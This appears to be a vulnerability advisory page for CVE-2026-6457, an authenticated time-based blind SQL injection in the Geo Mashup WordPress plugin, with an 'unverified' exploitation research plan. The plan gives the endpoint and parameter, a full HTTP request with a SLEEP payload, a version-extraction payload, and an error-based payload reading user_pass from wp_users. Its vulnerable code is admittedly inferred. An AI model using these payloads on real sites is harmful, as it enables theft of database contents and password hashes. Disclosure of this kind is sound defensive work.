CVE-2026-6457

Geo Mashup <= 1.13.19 - Authenticated (Subscriber+) SQL Injection via 'geo_mashup_null_fields' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.13.20
Patched in
1d
Time to patch

Description

The Geo Mashup plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'geo_mashup_null_fields' parameter in all versions up to, and including, 1.13.19 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.13.19
PublishedMay 1, 2026
Last updatedMay 2, 2026
Affected plugingeo-mashup

What Changed in the Fix

Changes introduced in v1.13.20

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6457 ## 1. Vulnerability Summary **CVE-2026-6457** is a time-based blind SQL injection vulnerability in the **Geo Mashup** plugin for WordPress (versions <= 1.13.19). The vulnerability exists in the handling of the `geo_mashup_null_fields` parameter within th…

Show full research plan

Exploitation Research Plan - CVE-2026-6457

1. Vulnerability Summary

CVE-2026-6457 is a time-based blind SQL injection vulnerability in the Geo Mashup plugin for WordPress (versions <= 1.13.19). The vulnerability exists in the handling of the geo_mashup_null_fields parameter within the geo_query AJAX action. The plugin fails to sanitize or properly prepare SQL queries when this parameter is provided, allowing an authenticated attacker (Subscriber or higher) to inject arbitrary SQL commands. Because the results are not directly returned (blind), a time-based approach (e.g., SLEEP()) is required for data extraction.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: geo_mashup_query
  • Vulnerable Parameter: geo_mashup_null_fields
  • Authentication: Required (Subscriber+). Although the action is registered via wp_ajax_nopriv_geo_mashup_query, the vulnerability details specify "Authenticated (Subscriber+)", suggesting that in typical configurations or specific code paths, a user session is expected.
  • Payload Type: Time-based blind SQLi.

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in geo-mashup.php:
    add_action( 'wp_ajax_geo_mashup_query', array( __CLASS__, 'geo_query') );
    add_action( 'wp_ajax_nopriv_geo_mashup_query', array( __CLASS__, 'geo_query') );
    
  2. Dispatch: GeoMashup::geo_query() is called. This function typically parses query arguments from $_REQUEST and passes them to the database layer.
  3. Sink: In geo-mashup-db.php, the class GeoMashupDB processes these arguments. Specifically, the geo_mashup_null_fields parameter is used to dynamically build the WHERE clause of a query against the locations table (usually {$wpdb->prefix}geo_mashup_locations).
  4. Vulnerable Logic (Inferred):
    if ( ! empty( $_REQUEST['geo_mashup_null_fields'] ) ) {
        $null_fields = explode( ',', $_REQUEST['geo_mashup_null_fields'] );
        foreach ( $null_fields as $field ) {
            // The field name is interpolated directly into the SQL string without escaping
            $where .= " AND $field IS NULL"; 
        }
    }
    
  5. Execution: The malformed SQL is executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

The geo_mashup_query action generally does not require a nonce for marker fetching, as it is designed to be public-facing. However, if the environment enforces a check, Geo Mashup localizes its data in the GeoMashup JS object.

Strategy:

  1. Create a page with the [geo_mashup_map] shortcode to ensure scripts are loaded.
  2. Navigate to the page using browser_navigate.
  3. Check for localized variables using browser_eval.
  4. Target Variable: window.GeoMashup?.ajax_url or window.geo_mashup_options?.ajax_nonce (if present).
  5. If no nonce is found and admin-ajax.php returns -1 (nonce failure), audit GeoMashup::geo_query() for the exact check_ajax_referer call.

5. Exploitation Strategy

The goal is to demonstrate a noticeable time delay using SLEEP().

Step 1: Authenticate

  • Log in as a Subscriber user to obtain a session cookie.

Step 2: Baseline Request

  • Send a standard request to ensure the endpoint is active.
  • URL: POST /wp-admin/admin-ajax.php
  • Body: action=geo_mashup_query&geo_mashup_null_fields=id

Step 3: Trigger Time Delay

  • Inject a payload that breaks out of the IS NULL context.
  • Payload Component: id) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Full Parameter: geo_mashup_null_fields=id) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=geo_mashup_query&geo_mashup_null_fields=id)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+-
    

Step 4: Data Extraction (Proof of Concept)

  • Check if the first character of the database version starts with '5' or '8':
  • Payload: id) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a)-- -

6. Test Data Setup

  1. User: Create a user with the subscriber role.
  2. Plugin Config: Ensure the plugin is activated.
  3. Content: Create at least one post with a location so the query returns results, though the injection should work regardless if the WHERE clause is reached.
  4. Shortcode Page:
    wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[geo_mashup_map]'
    

7. Expected Results

  • Baseline Request: Response time < 500ms.
  • Exploit Request: Response time > 5000ms.
  • Response Body: Likely a JSON object containing location markers or an empty set [], but the HTTP timing is the primary indicator.

8. Verification Steps

After the exploit, verify the database structure to confirm the target table and columns:

wp db query "DESCRIBE wp_geo_mashup_locations;"

Confirm the geo_mashup_query action's existence in the source:

grep -r "wp_ajax_geo_mashup_query" /var/www/html/wp-content/plugins/geo-mashup/

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, try injecting AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1) to see if the error is reflected in the AJAX response.
  • Different Injection Point: If geo_mashup_null_fields fails, check if other parameters like object_name or map_name are similarly interpolated in the GeoMashupDB::get_object_locations logic.
  • Boolean-Based: Instead of SLEEP(), use AND (SELECT 1)=1 vs AND (SELECT 1)=2 and observe differences in the number of returned markers in the JSON response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.